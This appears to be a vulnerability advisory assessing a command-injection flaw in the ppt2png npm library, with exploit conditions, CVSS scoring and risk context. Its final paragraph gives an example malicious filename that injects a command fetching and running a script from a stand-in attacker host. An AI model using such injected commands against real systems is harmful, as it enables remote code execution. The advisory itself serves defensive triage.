ppt2png CVE-2026-107699

Exploitation requires that a consuming application pass attacker-controllable data into ppt2png's input or output path arguments, which are concatenated into a shell command executed via child_process.exec() in ppt2png.js; the attacker injects shell metacharacters (e.g. ';', '|') in a filename to break out of the intended command. Limiting factors: this is a library, not a standalone service, so exploitability depends on the embedding application exposing these path parameters to untrusted input - if paths are always application-controlled or validated/sanitized, the flaw is not reachable. Affected versions are ppt2png through 0.0.6, and the injected commands run only with the privileges of the Node.js process.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N with VC:H/VI:H/VA:H, score 9.3) describes a fully network-reachable, unauthenticated, low-complexity flaw yielding complete compromise of the host process - on paper a top-tier priority. However, these signals must be weighed against context: ppt2png is a small pre-1.0 npm library (tzwm/ppt2png, affected through 0.0.6) that converts PowerPoint files to PNG, and the command injection is only reachable when a consuming application passes attacker-influenced input/output path strings into ppt2png's child_process.exec() call. The CVSS AV:N/PR:N rating therefore reflects the worst-case integration (untrusted paths exposed over the network) rather than a self-contained remote service; the true attack surface depends entirely on how downstream applications wire user input into the library. No EPSS score and no CISA KEV entry were supplied in the input, so there is no evidence of widespread or active exploitation; absence of EPSS/KEV data is not proof of safety but does suggest this is not currently a mass-exploitation target. A proof-of-concept gist is referenced, raising practical risk for any application that does expose these paths. Net assessment: technically critical where reachable, but real-world risk is bounded by very low deployment and by the requirement that the embedding application feed untrusted data into the path arguments - verify integration before treating as an emergency.

An application uses ppt2png to render user-supplied presentations and derives the input or output file path from untrusted user input. An attacker submits a filename containing a shell metacharacter such as 'report.pptx; curl attacker.com/x | sh', which ppt2png concatenates into a child_process.exec() command line, causing arbitrary OS commands to run with the Node.js process's privileges. A proof-of-concept gist referenced in the advisory demonstrates the injection technique.